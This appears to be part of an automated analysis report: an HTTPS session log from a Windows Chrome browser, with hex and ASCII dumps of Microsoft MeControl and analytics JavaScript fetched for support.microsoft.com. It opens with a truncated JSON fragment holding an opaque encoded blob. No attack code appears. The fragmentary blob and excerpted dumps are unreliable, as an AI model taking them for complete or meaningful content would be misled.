{"do":null,"ob":"PmA+YD5gc1B/dzxzPDw/cztqaW1tOzs/PjpraTk7O25sazs8Njw9bDg3Njc7NmpsOTw5ajg/Oz48Njw4az9qbTluPzdrbWltbDo8O2s9Ozg1PEFDYW1/QVggSV5NdkNbe1dLWSBbYUQ/NzxsZEl4TX08YUpYPT15YH1cPGRdVWlYYHxCRFZEeUNnSUZtV2Z1eX82PEx7Y30+WkQ+XHpKPE5feFlJNmgyMjU+Pz8/NU5qOE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49803	35.190.10.96	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:37 UTC	369	OUT	GET /api/v2/msft HTTP/1.1 Host: collector-pxzc5j78di.hsprotect.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:37 UTC	284	IN	HTTP/1.1 405 Method Not Allowed Date: Thu, 29 Aug 2024 22:19:36 GMT Content-Type: application/json; charset=utf-8 Content-Length: 31 Allow: HEAD, POST, OPTIONS Timing-Allow-Origin: * Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-08-29 22:19:37 UTC	31	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 22 7d 0a Data Ascii: {"error":"Method Not Allowed"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49835	13.107.246.60	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:44 UTC	566	OUT	GET /meversion?partner=SMCConvergence&market=en-us&uhf=1 HTTP/1.1 Host: mem.gfx.ms Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://support.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:44 UTC	665	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:44 GMT Content-Type: application/javascript Content-Length: 30289 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, no-transform, max-age=43200 Expires: Thu, 29 Aug 2024 17:34:47 GMT X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS X-UA-Compatible: IE=edge Strict-Transport-Security: max-age=31536000; includeSubDomains x-azure-ref: 20240829T221944Z-165795675766wv96mecap1swx400000002n000000000604d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:44 UTC	15719	IN	Data Raw: 77 69 6e 64 6f 77 2e 4d 53 41 3d 77 69 6e 64 6f 77 2e 4d 53 41 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 4d 53 41 2e 4d 65 43 6f 6e 74 72 6f 6c 3d 77 69 6e 64 6f 77 2e 4d 53 41 2e 4d 65 43 6f 6e 74 72 6f 6c 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 4d 53 41 2e 4d 65 43 6f 6e 74 72 6f 6c 2e 43 6f 6e 66 69 67 3d 7b 22 76 65 72 22 3a 22 31 30 2e 32 34 30 38 36 2e 34 22 2c 22 6d 6b 74 22 3a 22 65 6e 2d 55 53 22 2c 22 70 74 6e 22 3a 22 73 6d 63 63 6f 6e 76 65 72 67 65 6e 63 65 22 2c 22 67 66 78 22 3a 22 68 74 74 70 73 3a 2f 2f 61 6d 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 22 2c 22 64 62 67 22 3a 66 61 6c 73 65 2c 22 61 61 64 22 3a 74 72 75 65 2c 22 69 6e 74 22 3a 66 61 6c 73 65 2c 22 70 78 79 22 3a 74 72 75 65 2c 22 6d 73 54 78 74 22 3a 66 61 6c 73 65 2c 22 72 77 Data Ascii: window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24086.4","mkt":"en-US","ptn":"smcconvergence","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rw
2024-08-29 22:19:44 UTC	14570	IN	Data Raw: 65 78 70 6f 72 74 73 3a 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 2c 6e 2c 74 29 7b 76 61 72 20 72 2c 6f 3b 6f 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 3f 28 72 3d 5b 5d 2c 6e 29 3a 28 72 3d 6e 2c 74 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 47 65 2e 70 75 73 68 28 7b 69 64 3a 65 2c 64 65 70 73 3a 6e 2c 66 61 63 74 6f 72 79 3a 74 7d 29 7d 28 65 2c 72 2c 6f 29 7d 76 61 72 20 4b 65 3d 7b 22 40 6d 65 63 6f 6e 74 72 6f 6c 2f 77 65 62 2d 69 6e 6c 69 6e 65 22 3a 22 6d 65 49 6e 6c 69 6e 65 22 2c 22 40 6d 65 63 6f 6e 74 72 6f 6c 2f 77 65 62 2d 62 6f 6f 74 22 3a 22 6d 65 42 6f 6f 74 22 2c 22 40 6d 65 63 6f 6e 74 72 6f 6c 2f 77 65 62 2d 63 6f 72 65 22 3a 22 6d 65 43 6f 72 65 22 7d 2c 51 65 3d 77 69 6e 64 6f 77 2c 59 65 3d 28 Data Ascii: exports:t}}function ze(e,n,t){var r,o;o="function"==typeof n?(r=[],n):(r=n,t),function(e,n,t){Ge.push({id:e,deps:n,factory:t})}(e,r,o)}var Ke={"@mecontrol/web-inline":"meInline","@mecontrol/web-boot":"meBoot","@mecontrol/web-core":"meCore"},Qe=window,Ye=(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49841	13.107.246.60	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:44 UTC	385	OUT	GET /meversion?partner=SMCConvergence&market=en-us&uhf=1 HTTP/1.1 Host: mem.gfx.ms Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:45 UTC	665	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:44 GMT Content-Type: application/javascript Content-Length: 30289 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, no-transform, max-age=43200 Expires: Thu, 29 Aug 2024 17:34:47 GMT X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS X-UA-Compatible: IE=edge Strict-Transport-Security: max-age=31536000; includeSubDomains x-azure-ref: 20240829T221944Z-16579567576p25xcxh3nycmsaw000000024000000000m4he x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:45 UTC	15719	IN	Data Raw: 77 69 6e 64 6f 77 2e 4d 53 41 3d 77 69 6e 64 6f 77 2e 4d 53 41 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 4d 53 41 2e 4d 65 43 6f 6e 74 72 6f 6c 3d 77 69 6e 64 6f 77 2e 4d 53 41 2e 4d 65 43 6f 6e 74 72 6f 6c 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 4d 53 41 2e 4d 65 43 6f 6e 74 72 6f 6c 2e 43 6f 6e 66 69 67 3d 7b 22 76 65 72 22 3a 22 31 30 2e 32 34 30 38 36 2e 34 22 2c 22 6d 6b 74 22 3a 22 65 6e 2d 55 53 22 2c 22 70 74 6e 22 3a 22 73 6d 63 63 6f 6e 76 65 72 67 65 6e 63 65 22 2c 22 67 66 78 22 3a 22 68 74 74 70 73 3a 2f 2f 61 6d 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 22 2c 22 64 62 67 22 3a 66 61 6c 73 65 2c 22 61 61 64 22 3a 74 72 75 65 2c 22 69 6e 74 22 3a 66 61 6c 73 65 2c 22 70 78 79 22 3a 74 72 75 65 2c 22 6d 73 54 78 74 22 3a 66 61 6c 73 65 2c 22 72 77 Data Ascii: window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24086.4","mkt":"en-US","ptn":"smcconvergence","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rw
2024-08-29 22:19:45 UTC	14570	IN	Data Raw: 65 78 70 6f 72 74 73 3a 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 2c 6e 2c 74 29 7b 76 61 72 20 72 2c 6f 3b 6f 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 3f 28 72 3d 5b 5d 2c 6e 29 3a 28 72 3d 6e 2c 74 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 47 65 2e 70 75 73 68 28 7b 69 64 3a 65 2c 64 65 70 73 3a 6e 2c 66 61 63 74 6f 72 79 3a 74 7d 29 7d 28 65 2c 72 2c 6f 29 7d 76 61 72 20 4b 65 3d 7b 22 40 6d 65 63 6f 6e 74 72 6f 6c 2f 77 65 62 2d 69 6e 6c 69 6e 65 22 3a 22 6d 65 49 6e 6c 69 6e 65 22 2c 22 40 6d 65 63 6f 6e 74 72 6f 6c 2f 77 65 62 2d 62 6f 6f 74 22 3a 22 6d 65 42 6f 6f 74 22 2c 22 40 6d 65 63 6f 6e 74 72 6f 6c 2f 77 65 62 2d 63 6f 72 65 22 3a 22 6d 65 43 6f 72 65 22 7d 2c 51 65 3d 77 69 6e 64 6f 77 2c 59 65 3d 28 Data Ascii: exports:t}}function ze(e,n,t){var r,o;o="function"==typeof n?(r=[],n):(r=n,t),function(e,n,t){Ge.push({id:e,deps:n,factory:t})}(e,r,o)}var Ke={"@mecontrol/web-inline":"meInline","@mecontrol/web-boot":"meBoot","@mecontrol/web-core":"meCore"},Qe=window,Ye=(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49870	13.107.246.45	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:47 UTC	610	OUT	GET /scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://support.microsoft.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://support.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:47 UTC	982	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:47 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 91802 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 01 Jul 2024 17:02:58 GMT ETag: 0x8DC99EFA85DE069 x-ms-request-id: dd3e0e27-001e-0056-16f7-f4dcae000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 3.2.18 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.shared.analytics.mectrl-3.2.18.gbl.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240829T221947Z-16579567576h9nndaeer0cv35w00000002fg000000000v5w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:47 UTC	15402	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 20 53 44 4b 20 53 68 61 72 65 64 20 41 6e 61 6c 79 74 69 63 73 2c 20 33 2e 32 2e 31 38 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 74 2c 72 3d 7b 7d 2c 69 3d 22 5f 5f 6d 73 24 6d 6f 64 5f 5f 22 2c 6f 3d 7b 7d 2c 61 3d 6f 2e 65 73 6d 5f 6d 73 5f 73 68 61 72 65 64 5f 61 6e 61 6c 79 74 69 63 73 5f 6d 65 63 74 72 6c 5f 33 5f 32 5f 31 38 3d 7b 7d 2c 75 3d 22 33 2e 32 2e 31 38 22 2c 63 3d 22 6f 6e 65 44 73 4d 65 43 Data Ascii: /! 1DS JS SDK Shared Analytics, 3.2.18 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,n){var t,r={},i="__ms$mod__",o={},a=o.esm_ms_shared_analytics_mectrl_3_2_18={},u="3.2.18",c="oneDsMeC
2024-08-29 22:19:47 UTC	16384	IN	Data Raw: 20 74 7d 28 6f 2c 65 29 29 5b 6f 74 28 6e 29 5d 3d 74 29 2c 74 29 7d 2c 6b 69 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 65 26 26 65 5b 6e 5d 29 74 72 79 7b 64 65 6c 65 74 65 20 65 5b 6e 5d 7d 63 61 74 63 68 28 74 29 7b 7d 7d 7d 3b 72 65 74 75 72 6e 20 6f 7d 76 61 72 20 48 72 3d 22 74 6f 47 4d 54 53 74 72 69 6e 67 22 2c 6a 72 3d 22 74 6f 55 54 43 53 74 72 69 6e 67 22 2c 57 72 3d 22 63 6f 6f 6b 69 65 22 2c 58 72 3d 22 65 78 70 69 72 65 73 22 2c 47 72 3d 22 65 6e 61 62 6c 65 64 22 2c 51 72 3d 22 69 73 43 6f 6f 6b 69 65 55 73 65 44 69 73 61 62 6c 65 64 22 2c 4a 72 3d 22 64 69 73 61 62 6c 65 43 6f 6f 6b 69 65 73 55 73 61 67 65 22 2c 24 72 3d 22 5f 63 6b 4d 67 72 22 2c 5a 72 3d 6e 75 6c 6c 2c 59 72 3d 6e 75 6c 6c 2c 65 69 3d 6e 75 6c 6c 2c 6e Data Ascii: t}(o,e))[ot(n)]=t),t)},kill:function(e,n){if(e&&e[n])try{delete e[n]}catch(t){}}};return o}var Hr="toGMTString",jr="toUTCString",Wr="cookie",Xr="expires",Gr="enabled",Qr="isCookieUseDisabled",Jr="disableCookiesUsage",$r="_ckMgr",Zr=null,Yr=null,ei=null,n
2024-08-29 22:19:47 UTC	16384	IN	Data Raw: 29 26 26 28 61 3d 65 28 70 2c 70 5b 44 65 5d 28 29 29 29 2c 6f 7c 7c 61 7c 7c 6e 75 6c 6c 7d 2c 70 2e 73 65 74 50 65 72 66 4d 67 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6f 3d 65 7d 2c 70 2e 65 76 65 6e 74 43 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 5b 6e 65 5d 7d 2c 70 2e 72 65 6c 65 61 73 65 51 75 65 75 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 67 26 26 30 3c 72 5b 6e 65 5d 26 26 28 65 3d 72 2c 72 3d 5b 5d 2c 69 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 79 28 29 5b 46 5d 28 65 29 7d 29 29 7d 2c 70 2e 70 6f 6c 6c 49 6e 74 65 72 6e 61 6c 4c 6f 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 50 3d 65 7c 7c 6e 75 6c 6c 2c 4e 3d 21 31 2c 41 26 26 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 41 Data Ascii: )&&(a=e(p,p[De]())),o\|\|a\|\|null},p.setPerfMgr=function(e){o=e},p.eventCnt=function(){return r[ne]},p.releaseQueue=function(){var e;g&&0<r[ne]&&(e=r,r=[],ie(e,function(e){y()[F](e)}))},p.pollInternalLogs=function(e){return P=e\|\|null,N=!1,A&&(clearInterval(A
2024-08-29 22:19:47 UTC	16384	IN	Data Raw: 73 3a 22 57 69 6e 64 6f 77 73 20 50 68 6f 6e 65 22 7d 2c 7b 72 3a 63 2e 57 49 4e 52 54 2c 6f 73 3a 22 57 69 6e 64 6f 77 73 20 52 54 22 7d 2c 7b 72 3a 63 2e 57 49 4e 2c 6f 73 3a 22 57 69 6e 64 6f 77 73 22 7d 2c 7b 72 3a 63 2e 49 4f 53 2c 6f 73 3a 22 69 4f 53 22 7d 2c 7b 72 3a 63 2e 41 4e 44 52 4f 49 44 2c 6f 73 3a 22 41 6e 64 72 6f 69 64 22 7d 2c 7b 72 3a 63 2e 4c 49 4e 55 58 2c 6f 73 3a 22 4c 69 6e 75 78 22 7d 2c 7b 72 3a 63 2e 43 52 4f 53 2c 6f 73 3a 22 43 68 72 6f 6d 65 20 4f 53 22 7d 2c 7b 73 3a 22 78 31 31 22 2c 6f 73 3a 22 55 6e 69 78 22 7d 2c 7b 73 3a 22 62 6c 61 63 6b 62 65 72 72 79 22 2c 6f 73 3a 22 42 6c 61 63 6b 42 65 72 72 79 22 7d 2c 7b 73 3a 22 73 79 6d 62 69 61 6e 22 2c 6f 73 3a 22 53 79 6d 62 69 61 6e 22 7d 2c 7b 73 3a 22 6e 6f 6b 69 61 22 Data Ascii: s:"Windows Phone"},{r:c.WINRT,os:"Windows RT"},{r:c.WIN,os:"Windows"},{r:c.IOS,os:"iOS"},{r:c.ANDROID,os:"Android"},{r:c.LINUX,os:"Linux"},{r:c.CROS,os:"Chrome OS"},{s:"x11",os:"Unix"},{s:"blackberry",os:"BlackBerry"},{s:"symbian",os:"Symbian"},{s:"nokia"
2024-08-29 22:19:47 UTC	16384	IN	Data Raw: 29 29 7b 76 61 72 20 74 2c 72 3d 64 2c 69 3d 65 2c 6f 3d 67 2c 61 3d 66 3b 69 66 28 49 26 26 21 76 26 26 43 63 2e 74 65 73 74 28 65 29 29 7b 76 61 72 20 75 3d 65 2e 73 70 6c 69 74 28 22 2e 22 29 2c 63 3d 75 2e 6c 65 6e 67 74 68 3b 69 66 28 31 3c 63 29 7b 66 6f 72 28 76 61 72 20 6f 3d 6f 26 26 6f 2e 73 6c 69 63 65 28 29 2c 73 3d 30 3b 73 3c 63 2d 31 3b 73 2b 2b 29 7b 76 61 72 20 6c 3d 75 5b 73 5d 2c 61 3d 61 5b 6c 5d 3d 61 5b 6c 5d 7c 7c 7b 7d 3b 72 2b 3d 22 2e 22 2b 6c 2c 6f 26 26 6f 2e 70 75 73 68 28 6c 29 7d 69 3d 75 5b 63 2d 31 5d 7d 7d 28 65 3d 76 26 26 28 28 74 3d 53 5b 65 3d 72 5d 29 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 37 3c 3d 65 2e 6c 65 6e 67 74 68 26 26 28 74 3d 61 74 28 65 2c 22 65 78 74 2e 6d 65 74 61 64 61 74 61 22 29 7c 7c 61 74 28 Data Ascii: )){var t,r=d,i=e,o=g,a=f;if(I&&!v&&Cc.test(e)){var u=e.split("."),c=u.length;if(1<c){for(var o=o&&o.slice(),s=0;s<c-1;s++){var l=u[s],a=a[l]=a[l]\|\|{};r+="."+l,o&&o.push(l)}i=u[c-1]}}(e=v&&((t=S[e=r])===undefined&&(7<=e.length&&(t=at(e,"ext.metadata")\|\|at(
2024-08-29 22:19:47 UTC	10864	IN	Data Raw: 74 63 68 29 2c 69 26 26 72 3c 3d 51 26 26 28 51 3d 2d 31 2c 6b 3d 30 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 6c 61 74 65 6e 63 79 3a 72 2c 73 65 6e 64 54 79 70 65 3a 65 2c 73 65 6e 64 52 65 61 73 6f 6e 3a 6e 7d 7d 2c 21 74 29 3a 28 51 3d 30 3c 3d 51 3f 4d 61 74 68 2e 6d 69 6e 28 51 2c 72 29 3a 72 2c 6b 3d 4d 61 74 68 2e 6d 61 78 28 6b 2c 6e 29 29 2c 69 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 71 3d 7b 52 45 41 4c 5f 54 49 4d 45 3a 5b 32 2c 31 2c 30 5d 2c 4e 45 41 52 5f 52 45 41 4c 5f 54 49 4d 45 3a 5b 36 2c 33 2c 30 5d 2c 42 45 53 54 5f 45 46 46 4f 52 54 3a 5b 31 38 2c 39 2c 30 5d 7d 7d 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 6e 29 7b 76 61 72 20 74 3d 5b 5d 2c 72 3d 24 3f 59 3a 5a 3b 69 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 Data Ascii: tch),i&&r<=Q&&(Q=-1,k=0)},function(){return{latency:r,sendType:e,sendReason:n}},!t):(Q=0<=Q?Math.min(Q,r):r,k=Math.max(k,n)),i}function n(){q={REAL_TIME:[2,1,0],NEAR_REAL_TIME:[6,3,0],BEST_EFFORT:[18,9,0]}}function e(e,n){var t=[],r=$?Y:Z;ie(e,function(e)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49871	13.107.246.60	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:47 UTC	602	OUT	GET /scripts/me/MeControl/10.24086.4/en-US/meBoot.min.js HTTP/1.1 Host: mem.gfx.ms Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://support.microsoft.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://support.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:47 UTC	629	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:47 GMT Content-Type: application/javascript Content-Length: 204055 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Thu, 22 Aug 2024 23:12:06 GMT ETag: "1daf52360f12217" X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * X-UA-Compatible: IE=edge Strict-Transport-Security: max-age=31536000; includeSubDomains x-azure-ref: 20240829T221947Z-16579567576xfl5xzh7yws029s00000002eg00000000ftb7 x-fd-int-roxy-purgeid: 38334287 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-08-29 22:19:47 UTC	15755	IN	Data Raw: 4d 65 43 6f 6e 74 72 6f 6c 44 65 66 69 6e 65 28 22 6d 65 42 6f 6f 74 22 2c 5b 22 65 78 70 6f 72 74 73 22 2c 22 40 6d 65 63 6f 6e 74 72 6f 6c 2f 77 65 62 2d 69 6e 6c 69 6e 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 53 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 69 3d 7b 7d 2c 75 3d 5b 5d 2c 70 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 4f 28 74 2c 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 2c 69 2c 61 3d 70 3b 66 6f 72 28 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 32 3c 69 2d 2d 3b 29 75 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 5b 69 5d 29 3b 66 6f 72 28 65 26 26 6e 75 6c 6c 21 3d 65 2e 63 68 69 6c 64 72 65 6e 26 26 28 75 2e 6c 65 6e 67 74 68 7c 7c 75 2e 70 75 73 68 28 65 2e 63 68 69 6c 64 Data Ascii: MeControlDefine("meBoot",["exports","@mecontrol/web-inline"],function(t,S){"use strict";var c=function(){},i={},u=[],p=[];function O(t,e){var r,n,o,i,a=p;for(i=arguments.length;2<i--;)u.push(arguments[i]);for(e&&null!=e.children&&(u.length\|\|u.push(e.child
2024-08-29 22:19:47 UTC	16384	IN	Data Raw: 79 28 74 29 2c 72 3d 30 3b 72 3c 74 3b 72 2b 2b 29 65 5b 72 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 72 5d 3b 72 65 74 75 72 6e 20 30 3d 3d 3d 65 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 7d 3a 31 3d 3d 3d 65 2e 6c 65 6e 67 74 68 3f 65 5b 30 5d 3a 65 2e 72 65 64 75 63 65 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 28 65 2e 61 70 70 6c 79 28 76 6f 69 64 20 30 2c 61 72 67 75 6d 65 6e 74 73 29 29 7d 7d 29 7d 76 61 72 20 74 74 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 3b 66 75 6e 63 74 69 6f 6e 20 65 74 28 74 29 7b 76 61 72 20 65 2c 72 2c 6e 2c 6f 3d 22 22 2c 69 3d 74 79 70 65 6f 66 20 74 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 69 7c 7c 22 6e Data Ascii: y(t),r=0;r<t;r++)e[r]=arguments[r];return 0===e.length?function(t){return t}:1===e.length?e[0]:e.reduce(function(t,e){return function(){return t(e.apply(void 0,arguments))}})}var tt=Array.isArray;function et(t){var e,r,n,o="",i=typeof t;if("string"==i\|\|"n
2024-08-29 22:19:47 UTC	16384	IN	Data Raw: 22 73 74 72 69 6e 67 22 3a 72 65 74 75 72 6e 22 22 3d 3d 3d 74 7c 7c 21 77 65 2e 74 65 73 74 28 74 29 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 4f 65 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 31 3b 72 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 65 5b 72 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 72 5d 3b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 6f 3d 65 3b 6e 3c 6f 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 6f 5b 6e 5d 3b 66 6f 72 28 76 61 72 20 61 20 69 6e 20 69 29 69 66 28 53 2e 68 61 73 4f 77 6e 28 69 2c 61 29 29 7b 76 61 72 20 73 3d 69 5b 61 5d 3b 6e 75 6c 6c 3d 3d 73 7c 7c 53 65 28 73 29 7c 7c 28 74 5b 61 5d 3d 73 29 7d 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 Data Ascii: "string":return""===t\|\|!we.test(t);default:return!1}}function Oe(t){for(var e=[],r=1;r<arguments.length;r++)e[r-1]=arguments[r];for(var n=0,o=e;n<o.length;n++){var i=o[n];for(var a in i)if(S.hasOwn(i,a)){var s=i[a];null==s\|\|Se(s)\|\|(t[a]=s)}}return t}funct
